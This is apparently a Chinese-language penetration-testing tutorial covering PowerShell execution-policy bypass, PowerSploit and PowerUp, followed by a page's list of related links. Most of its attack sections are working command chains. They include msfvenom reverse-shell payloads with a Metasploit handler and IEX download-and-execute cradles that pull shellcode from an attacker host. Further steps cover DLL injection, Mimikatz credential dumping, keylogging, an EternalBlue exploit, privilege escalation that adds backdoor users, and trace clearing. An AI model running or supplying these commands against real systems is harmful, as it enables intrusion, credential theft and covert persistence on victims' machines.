目录

1.1PowerShell技术

1.2PowerShell基本概念

1.3PowerShell常用命令

2.PowerSploit

3.PowerSploit脚本攻击

Invode-shellcode

Invoke-Dlllnjection

Invoke-Portscan

Invoke-Mimikatz

Get-Keystrokes

4.PowerUp攻击模块

5.PowerUp攻击模块实战

实战1

实战2


1.1PowerShell技术

灵活且能功能化管理Windows系统,一旦攻击者可以在计算机上执行代码,就可下载powershell脚本(.ps1)到磁盘中执行,甚至可以直接在内存中执行。

常用的powershell攻击工具:

  • PowerSploit: 这是众多owehShe攻击工具中被广泛使用的PoweShel后期漏洞利用框架,常用于信息探测、特权提升、凭证窃取、持久化等操作。
  • Nishang:基于PowerShell的渗透测试专用工具,集成了框架、脚本和各种Payload,包含下载和执行、键盘记录、DNS、 延时命令等脚本。
  • Empire:基于PowerShel的远程控制木马,可以从凭证数据库中导出和跟踪凭证信息,常用于提供前期漏洞利用的集成模块、信息探测、凭据窃取、持久化控制。
  • PowerCat: PowerShell版的NetCat,有着网络工具中的“瑞士军刀”美誉,它能通过CP和UDP在网络中读写数据。通过与其他工具结合和重定问,可以在脚本中以多种方式使用它。

PowerShell有以下这几个优点。

  • Windows7以上的操作系统默认安装
  • PowerShell脚本可以运行在内存中,不需要写入磁盘。
  • 可以从另一个系统中下载PowerShell脚本并执行。
  • 目前很多工具都是基于PowerShell开发的。
  • 很多安全软件并不能检测到PowerShell的活动。
  • cmd.exe通常会被阻止运行,但是PowerShell不会 。
  • 可以用来管理活动目录。

查看PowerShell版本

Get-Host
$PSVersionTable.PSVERSION

1.2PowerShell基本概念

1. PS1文件
Rowusel 本其实就是一个简单的文本文件,这个文件包含了一系列PowerShell命令,每个命令显示为独立的一行,对于被视为Powerhe脚本的文本文件,它的文件名需要加上.PS1的扩展名。

2.执行策略
为防止恶意脚本的执行,PowerShell有 一个执行策略,默认情况下,这个执行策略被设为受限。在PowerShel1脚本无法执行时,可以使用下面的cmdlet命令确定当前的执行策略。

Get-ExecutionPolicy
Restricted:脚本不能运行(默认设置)。
RemoteSigned:本地创建的脚本可以运行,但从网上下载的脚本不能运行(拥有数字证书签名的除外)。
AllSigned:仅当脚本由受信任的发布者签名时才能运行。
Unrestricted:允许所有的script运行。

3.运行脚本

.\test.ps1    #运行当前目录下的powershell

4.管道

get-process p* | stop-process

1.3PowerShell常用命令

1.基本命令

新建目录: New-ltem whitecellclub-ltemType Directory。
新建文件: New-ltem light.txt-ltemType File。
删除目录: Remove-ltem whitecellclub.
显示文本内容: Get-Content test.txt。
设置文本内容: Set-Content test.txt Value "ell,word!"。
追加内容: Add-Content light.txt-Value "i love you"。
清除内容: Clear-Content test.txt。

2.常用命令

如果要运行PowerShe脚本程序,必须用管理员权限将Restricted策略改成Unrestricted,所以在渗透时,就需要采用一些力法绕过策略来执行脚本,比如下面的三种


绕过本地权限执行
上传txxp1至目标服务器,在CMD环境下,在目标服务各本地执行该脚本,如下所示。
PowerShell.exe -ExecutionPolicy Bypass -File xx.ps1本地隐藏绕过权限执行脚本
PowerShell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoLogo -NonInteractive -NoProfif -File xx.ps1用IEX下载远程PS1脚本绕过权限执行
PowerShell.exe -ExecutionPolicy Bypass-WindowStyle Hidden-NoProfile-NonIEX(New-ObjectNet .WebClient).DownloadString(("xxx.ps1");[Parameters]Exctiolioc Byass绕过执行安全策略,这个参数非常重要,在默认情况下,PwerShel的安全策略规定PowerSheel不允许运行命令和文件。通过设置这个参数,可以绕过任意一个安全保护规则。在渗透测试中,基本每一次运行PowerShell脚本时都要使用这个参数。
WindowStyle Hidden:隐藏窗口。
NoLogo:启动不显示版权标志的PowerShell。
NonInteractive (-NonI) :非交互模式,PowerShell不为用户提供交互
NoProfile(-NoP) : PowerShell控制 台不加载当前用户的配置文件。
Noexit:执行后不退出Shell。这在使用键盘记录等脚本时非常重要。

2.PowerSploit

开启apache,并将文件复制到html目录下

service apache2 start
cp -r powersploit/ /var/www/html/

PowerSploit模块介绍

  • AntivirusBupass:发现杀毒软件的查杀特征
  • CodeExecution:在目标主机上执行代码
  • Exfiltration:目标主机上的信息搜集工具。
  • Mayhem:蓝屏等破坏性脚本。
  • Persistence:后门脚本(持久性控制)。
  • Recon:以目标主机为跳板进行内网信息侦查。
  • ScriptModifcation:在目标主机上创建或修改脚本。

3.PowerSploit脚本攻击

Invode-shellcode

msf监听和生成powershell木马

use exploit/multi/handler
set payload windows/meterpreter/reverse_https
set LHOST 192.168.0.109
set LPORT 8888
run
msfvenom -p /windows/meterpreter/reverse_https LHOST=192.168.0.109 LPORT=8888 -f powershell -o /var/www/html/test

1.直接执行ShellCode反弹shell

win7下载木马并执行

IEX(New-Object Net.WebClient).DownloadString("http://192.168.0.109/powersploit/CodeExecution/Invoke-Shellcode.ps1")    #下载脚本IEX(New-Object Net.WebClient).DownloadString("http://192.168.0.109/test")    #下载木马Invoke-Shellcode -Shellcode ($buf) -Force    #执行命令

2.指定进程注入反弹shell

IEX(New-Object Net.WebClient).DownloadString("http://192.168.0.109/powersploit/CodeExecution/Invoke-Shellcode.ps1")
IEX(New-Object Net.WebClient).DownloadString("http://192.168.0.109/test")get-process
Start-Process C:\Windows\System32\notepad.exe -WindowStyle Hidden    #开启一个无回显的进程
Invoke-Shellcode -ProcessID 5032 -Shellcode($buf) -Force    #进程注入

Invoke-Dlllnjection

使用Code Execution模块下的另一个脚本Invoke-DLLInjection,这是一个DLL注入的脚本

1.使用msfvenom生成dll后门,并开启监听同上

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.0.109 LPORT=8888 -f dll -o /var/www/html/test.dll

2.下载脚本和木马

IEX(New-Object Net.WebClient).DownloadString("http://192.168.0.109/powersploit/CodeExecution/Invoke-DllInjection.ps1")
IEX(New-Object Net.WebClient).DownloadString("http://192.168.0.109/test.dll")Start-Process C:\Windows\System32\notepad.exe -WindowStyle Hidden
Invoke-DllInjection -ProcessID 2000 -Dll c:\test.dll

Invoke-Portscan

IEX(New-Object Net.WebClient).DownloadString("http://192.168.0.109/powersploit/Recon/Invoke-Portscan.ps1") Invoke-Portscan -Hosts 192.168.0.104,192.168.0.109 -Ports "80,445,22,139,3389"

Invoke-Mimikatz

IEX(New-Object Net.WebClient).DownloadString("http://192.168.0.109/powersploit/Exfiltration/Invoke-Mimikatz.ps1")
Invoke-Mimikatz -DumpCreds

Get-Keystrokes

IEX(New-Object Net.WebClient).DownloadString("http://192.168.0.109/powersploit/Exfiltration/Get-Keystrokes.ps1")
Get-Keystrokes -LogPath c:\test.txt

4.PowerUp攻击模块

Set-ExecutionPolicy Unrestricted    #本地演示此模块,powershell设置成执行任意脚本模式Import-Module .\PowerUp.ps1
Get-Help invoke-allchecks -full

1.Invoke-AllChecks

Invoke-AllChecks

2.Find-PathHijack

3.Get-ApplicationHost——利用系统上config文件恢复加密过的应用池和虚拟目录密码

4.Get-RegAlwaysInstallElevated   检查注册表项是否被设置

5.Get-RegAutoLogon——检测winlgoin注册表有没有被设置,可查询默认用户名和密码

6. Get-ServiceDetail——返回某服务的信息

PS C:\> Get-ServiceDetail位于命令管道位置 1 的 cmdlet Get-ServiceDetail
请为以下参数提供值:
ServiceName: dhcpName                    : Dhcp
Status                  : OK
ExitCode                : 0
DesktopInteract         : False
ErrorControl            : Normal
PathName                : C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted

7.Get-ServiceFilePermission

8.Test-ServiceDaclPermission检查所有可用的服务,并尝试对这些打开的服务进行修改

9.Get-ServiceUnquoted检查空格路径的漏洞

10.Get-UnattendedInstallFile检查部署凭据

11.Get-ModifiableRegistryAutoRun检查开机自启的应用程序路径和注册表键值

12.Get-ModifiableScheduledTaskFile返回用户可修改的计划任务名称和路径

13.Get-Webconfig——检查web.config数据库

14.Invoke-ServiceAbuse——修改服务来添加用户到指定组,并通过设置cmd参数触发添加用户的自定义命令

Invoke-ServiceAbuse -ServiceName VulnSVC -Username "TESTLAB\johb"     #指定添加的域账号

15.Restart-ServiceBinary——恢复服务的可执行文件到原始目录

16.Test-ServiceDaclPermission——检查某个用户是否在服务中有自由访问控制的权限

Test-ServiceDaclPermission -ServiceName VulnSVC

17.Write-HijackDll输出一个自定义命令并能够自我删除的bat文件到$env:Temp\debug.bat,并输出一个能够启动这个bat文件的DLL

18.Write-UserAddMSI

19. Write-ServiceBinary——用于预编译的C#服务的可执行文件

Write-ServiceBinary -ServiceName VulnSVC #添加默认账号
Write-ServiceBinary -ServiceName VulnSVC -UserName "TESTLAB\john"    #添加域账号
Write-ServiceBinary -ServiceName VulnSVC -UserName backdoor -Password Password123!    #指定添加用户,用户密码以及添加的用户组
Write-ServiceBinary -ServiceName VulnSVC -Command "net......"    #自定义执行命令

20.Install-ServiceBinary——写一个C#的服务用来添加用户

Install-ServiceBinary -ServiceName DHCP

5.PowerUp攻击模块实战

实战1

使用了Invoke-AllChecks,Install-ServiceBinary,Get-ServiceUnquoted,Test-ServiceDaclPermission,Restart-ServiceBinary

1.使用msf攻击win7反弹shell

search ms17_010
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.0.104
set payload windows/x64/meterpreter/reverse_tcp
show options
exploit

2.上传PowerUp脚本,然后执行

getuid
upload /var/www/html/powersploit/Privesc/PowerUp.ps1 c:\

使用IEX在内存中加载此脚本

powershell.exe -exec bypass "IEX(New-Object Net.WebClient).DownloadString('C:\PowerUp.ps1');Invoke-AllChecks"

也可以在cmd环境下使用命令绕过执行该脚本

powershell.exe -exec bypass -Command "& {Import-Moudle .\PowerUp.ps1; Invoke-AllChecks}"

3.检查漏洞是否可以提权,书中查看的是Checking for unquoted service path模块,此虚拟机没有检测出此漏洞

4.使用icacls检测有漏洞的目录是否具有写入权限,验证powerup脚本检测是否正确

icacls "C:\PROGRA~2\SOGOUP~1\970~1.369\SGTool.exe"

5.使用AbuserFunction给出的具体操作方式,执行命令

powershell -nop -exec bypass IEX (New-Object Net.WebClient).DownloadString("c:/PowerUp.ps1'); Install-ServiceBinary -ServiceName 'SGTool' -Username new -Password 1234powershell -nop -exec bypass IEX (New-Object Net.WebClient).DownloadString("c:/PowerUp.ps1'); Install-ServiceBinary -ServiceName 'SGTool' -Username new -Password 1234

6.添加用户

当管理员运行 net start SGTool时,会添加我们的账号低权限开启服务需要重启系统
shutdown -r -f -t 0net user    #查看用户
net localgroup administrators

7.清除痕迹

powershell.exe -exec bypass "IEX(New-Object Net.WebClient).DownloadString('C:\PowerUp.ps1');Restore-ServiceBinary -ServiceName 'SGTool'执行命令后可以把所有的状态恢复到最初的状态

实战2

使用Get-RegAlwaysInstallElevated,Write-UserAddMSI模块

1.前提:win+r打开gpedit.msc,需要把组策略中的计算机配置和用户配置中Windows组件中的Windows Installer->永远以最高权限进行安装启用

2.可以使用PowerUp的Get-RegistryAlwaysInstallElevated模块来检查注册表项是否被设置,如果AlwaysInstallElevated注册表项被设置,意味着MSI文件是以SYSTEM权限运行的。执行该模板的命令如下,True表示已经设置

powershell.exe -exec bypass "IEX(New-Object Net.WebClient).DownloadString('C:\PowerUp.ps1');Get-RegAlwaysInstallElevated"

3.添加新用户Write-UserAddMSI

powershell.exe -exec bypass "IEX(New-Object Net.WebClient).DownloadString('C:\PowerUp.ps1');Write-UserAddMSI"

4.普通用户权限运行UserAdd.msi

msiexec /q /i Useradd.msi

5.查看用户

Powershell攻击指南1——PowerSploit相关推荐

  1. PowerShell攻击指南

    文章目录 一:PowerShell简介 1.1:基本概念 1.2:执行策略与绕过 1.3:常用命令 二:PowerSploit 2.1:PowerSploit安装 2.2:PowerSploit攻击实 ...

  2. 《Windows PowerShell实战指南(第2版)》——3.4 使用帮助找命令

    本节书摘来自异步社区<Windows PowerShell实战指南(第2版)>一书中的第3章,第3.4节,作者:[美]Don Jones(道·琼斯) , Jeffery Hicks(杰弗瑞 ...

  3. 《Windows PowerShell实战指南(第2版)》——1.5 安装Windows PowerShell

    本节书摘来自异步社区<Windows PowerShell实战指南(第2版)>一书中的第1章,第1.5节,作者:[美]Don Jones(道·琼斯) , Jeffery Hicks(杰弗瑞 ...

  4. windows powershell实战指南_【安全研究】powershell在主机中是否存在安全隐患?

    近日,安全狗海青实验室在研究powershell攻击运用到主机实战场景时,对powershell在主机中是否存在安全问题进行了一次较为全面的分析,并介绍了powershell从灰色工具逐步演变成为攻击 ...

  5. 《Windows PowerShell实战指南(第2版)》——1.4 搭建自己的实验环境

    本节书摘来自异步社区<Windows PowerShell实战指南(第2版)>一书中的第1章,第1.4节,作者:[美]Don Jones(道·琼斯) , Jeffery Hicks(杰弗瑞 ...

  6. 基于nginx配置的WordPress网站防御17ce等测速网站攻击指南

    本文原文:基于宝塔面板nginx配置的WordPress网站防御攻击指南-奇它博客 免插件实现WordPress网站屏蔽后台搜索词广告 WordPress网站批量更换文章固定链接(百度收录自动301跳 ...

  7. windows powershell实战指南(第3版)_Windows命令行工具cmder配置(转)

    著作权归作者所有.商业转载请联系作者获得授权,非商业转载请注明出处 作者:memor链接:https://segmentfault.com/a/1190000011361877 来源:http://s ...

  8. Windows PowerShell 实战指南-附录(复习实验)-实验回顾1

    任务1: 运行一个命令,从而显示应用程序事件日志中最新的100个条目,不要使用Get-WinEvent. 解答: get-eventlog -computername localhost -logna ...

  9. kali连接蓝牙_蓝牙攻击指南(kali)

    基本操作 hciconfig 查看蓝牙设备信息 hcitool:这是一个查询工具. 可以用来查询设备名称,设备ID,设备类别和设备时钟. hcidump:可以使用这个来嗅探蓝牙通信 hciconfig ...

  10. 微软Azure PowerShell使用指南(2) - 控制虚拟机

    如上篇,选择相应的订阅信息后,我们就可以开始使用我们的云资源.这篇我们介绍如何创建虚拟机并且通过PowerShell就可以控制虚拟机. 创建虚拟机 微软提供了非常多的操作系统镜像,从Windows 2 ...

最新文章

  1. CvBlobTrackerCC 多目标跟踪算法简析
  2. TensorFlow2.0正式版发布,极简安装TF2.0(CPUGPU)教程
  3. 小作文十大必背范文:五星级真题
  4. ACL 2019年度回顾:自然语言处理发展趋势
  5. php url 筛选,PHP获取当前URL路径的处理方法(适用于多条件筛选列表)
  6. 域电脑不能显示桌面_学会这些电脑操作,工作更高效,摸鱼更舒适!
  7. C++ vector使用的一些注意事项
  8. cocos2d-x android 环境搭配,cocos2d-x Android环境配置问题和解决方法
  9. JSP中的注释操作及JSP中的三种Scriptlet
  10. C# 实现 rtc_通过Xlua实现unity热更新的一个小例子
  11. JavaScript Document对象DOM
  12. 【mac】mac 安装 RibbitMQ 报错 Error when reading /Users/lcc/.erlang.cookie: eacces
  13. Mock(模拟后端接口数据)配合Vuex的使用
  14. 你有被代理过吗?讲讲开源框架都在用的代理模式
  15. 判断OS版本的几个方法
  16. Linux驱动中私有数据filp-private_data的作用
  17. mysql数据库:varchar类型可以存储多少个汉字,多少个数字
  18. csu-2018年11月月赛Round2-div1题解
  19. systeminfo命令
  20. 各大工业机器人品牌大全

热门文章

  1. matlab恶狼追兔问题,饿狼追兔问题-数学建模.doc
  2. 【编程开发】之 Java 实现邮件发送
  3. Hibernate个版本下载地址
  4. Python3,4行代码给图片加美颜,拍照再也不需要开美颜滤镜了。
  5. Flux、Mono、Reactor 实战(史上最全)
  6. 双硬盘双系统win10+manjaro-kde搭建
  7. 新安装Win10操作系统有必要设置的几个技巧
  8. ORACLE SQL 优化
  9. python 中文排序(按拼音)
  10. 计算机主板上的纽扣电池型号是,主板上的纽扣电池是什么